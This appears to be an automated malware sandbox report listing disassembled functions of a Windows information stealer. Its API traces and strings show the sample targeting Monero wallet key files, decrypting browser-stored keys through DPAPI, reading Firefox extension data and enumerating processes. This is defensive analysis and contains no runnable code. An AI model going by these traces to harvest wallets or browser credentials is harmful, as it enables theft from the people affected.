Instruction Fuzzy Hash: 910136B5A40208BBDB10DFD4DC49FAEB7B8EB58701F008155FA05A7280D6B0AA059F51

Function 0032A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00F291D0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0032A0BD
LoadLibraryA.KERNEL32(00F2DB28), ref: 0032A146

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A820: lstrlen.KERNEL32(00324F05,?,?,00324F05,00340DDE), ref: 0033A82B
Part of subcall function 0033A820: lstrcpy.KERNEL32(00340DDE,00000000), ref: 0033A885

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

SetEnvironmentVariableA.KERNEL32(00F291D0,00000000,00000000,?,003412D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00340AFE), ref: 0032A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0032A0B2, 0032A0C6, 0032A0DC

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: aff74abdb93811c8f55545307fd836ec8f703ec24ffb80a81cc0ae1fee1da9e2
Instruction ID: dcaef17f9e3498c3443090a42828a4984b4f8bf4b6fc9241102534b58b7d22eb
Opcode Fuzzy Hash: aff74abdb93811c8f55545307fd836ec8f703ec24ffb80a81cc0ae1fee1da9e2
Instruction Fuzzy Hash: 0A4143B1D01604AFCB06EFA8FC95AA937B4BB24301F144518F505BB2A1DBB5594CEF53

Function 0032A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 00338B60: GetSystemTime.KERNEL32(00340E1A,00F2A628,003405AE,?,?,003213F9,?,0000001A,00340E1A,00000000,?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 00338B86

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0032A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0032A3FF
lstrlen.KERNEL32(00000000), ref: 0032A6BC

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

DeleteFileA.KERNEL32(00000000), ref: 0032A743

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 324575327040e1031adcf6c119e1514ac31178e8742513446328b6c20712241d
Instruction ID: 199e237f8ae2b8e866f75abae4af091f9ac344f6a32f563304797550b0b3d14e
Opcode Fuzzy Hash: 324575327040e1031adcf6c119e1514ac31178e8742513446328b6c20712241d
Instruction Fuzzy Hash: F2E10E72810508ABCB06FBA4DCD2EEE7738AF24300F508159F557BA091EF746A4DDB62

Function 0032D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 00338B60: GetSystemTime.KERNEL32(00340E1A,00F2A628,003405AE,?,?,003213F9,?,0000001A,00340E1A,00000000,?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 00338B86

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0032D801
lstrlen.KERNEL32(00000000), ref: 0032D99F
lstrlen.KERNEL32(00000000), ref: 0032D9B3
DeleteFileA.KERNEL32(00000000), ref: 0032DA32

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c5fae001df4c0791f444a605a1246abb31f4efc4ffccd82fbbb1638512579b8c
Instruction ID: 0ee7f110fc1197604ed7b130c87ef1c6a63b1c5fd32fa6fecbaeef13641a8dfe
Opcode Fuzzy Hash: c5fae001df4c0791f444a605a1246abb31f4efc4ffccd82fbbb1638512579b8c
Instruction Fuzzy Hash: E0810D72910508ABCB06FBA4DCD6EEE7738AF14300F504128F547BE091EF746A49DBA2

Function 0032F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003299EC
Part of subcall function 003299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00329A11
Part of subcall function 003299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00329A31
Part of subcall function 003299C0: ReadFile.KERNEL32(000000FF,?,00000000,0032148F,00000000), ref: 00329A5A
Part of subcall function 003299C0: LocalFree.KERNEL32(0032148F), ref: 00329A90
Part of subcall function 003299C0: CloseHandle.KERNEL32(000000FF), ref: 00329A9A

Part of subcall function 00338E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00338E52

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00341580,00340D92), ref: 0032F54C
lstrlen.KERNEL32(00000000), ref: 0032F56B

Strings

moz-extension+++, xrefs: 0032F5AD
^userContextId=4294967295, xrefs: 0032F59C

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: fc3031b50560917530f2407656df64f29d1c03acacd3212f99a603365b9d6233
Instruction ID: 383a80869a6bdeaf0905d6f5a80b437f75612f318d2bd86adb0fc163e2b70593
Opcode Fuzzy Hash: fc3031b50560917530f2407656df64f29d1c03acacd3212f99a603365b9d6233
Instruction Fuzzy Hash: EC510171D10608AADB06FBB4DCD6DED7778AF54300F408528F8566F191EF346A09DBA2

Function 003370D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

s3, xrefs: 003372AE, 00337179, 0033717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0033718C
s3, xrefs: 00337111

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s3$s3$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-3620656206
Opcode ID: f1797acc207c74bf8e5244f2ee2fcd16e09baf29e8258f50333db0cbba63cada
Instruction ID: 57826c552204e707f0ebfb8a6684e1275d9be549f67de26e786b90c7b84ad996
Opcode Fuzzy Hash: f1797acc207c74bf8e5244f2ee2fcd16e09baf29e8258f50333db0cbba63cada
Instruction Fuzzy Hash: 93517FB1D04218AFDB25EB90DCD2BEEB774AF44304F1041A8E615BB181EB746E88DF55

Function 00329CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 003299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003299EC
Part of subcall function 003299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00329A11
Part of subcall function 003299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00329A31
Part of subcall function 003299C0: ReadFile.KERNEL32(000000FF,?,00000000,0032148F,00000000), ref: 00329A5A
Part of subcall function 003299C0: LocalFree.KERNEL32(0032148F), ref: 00329A90
Part of subcall function 003299C0: CloseHandle.KERNEL32(000000FF), ref: 00329A9A

Part of subcall function 00338E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00338E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00329D39

Part of subcall function 00329AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N2,00000000,00000000), ref: 00329AEF
Part of subcall function 00329AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00324EEE,00000000,?), ref: 00329B01
Part of subcall function 00329AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N2,00000000,00000000), ref: 00329B2A
Part of subcall function 00329AC0: LocalFree.KERNEL32(?,?,?,?,00324EEE,00000000,?), ref: 00329B3F

Part of subcall function 00329B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00329B84
Part of subcall function 00329B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00329BA3
Part of subcall function 00329B60: LocalFree.KERNEL32(?), ref: 00329BD3

Strings

"encrypted_key":", xrefs: 00329D30
DPAPI, xrefs: 00329D89
, xrefs: 00329DC1

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 9828457b5cf0dcaf5b8b34ae79a88d95dbe79a88b69feb85ecc7590643f02433
Instruction ID: 95107d442a5aba30abce3c578e1b2d0d97c2e9bcf93675f1ef79519a4f47ebf4
Opcode Fuzzy Hash: 9828457b5cf0dcaf5b8b34ae79a88d95dbe79a88b69feb85ecc7590643f02433
Instruction Fuzzy Hash: 51312FB6D10219ABCF05DFE4EC85BEFB7B8AF48304F144519E905A7241EB749A44CBA1

Function 00338680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,003405B7), ref: 003386CA
Process32First.KERNEL32(?,00000128), ref: 003386DE
Process32Next.KERNEL32(?,00000128), ref: 003386F3

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
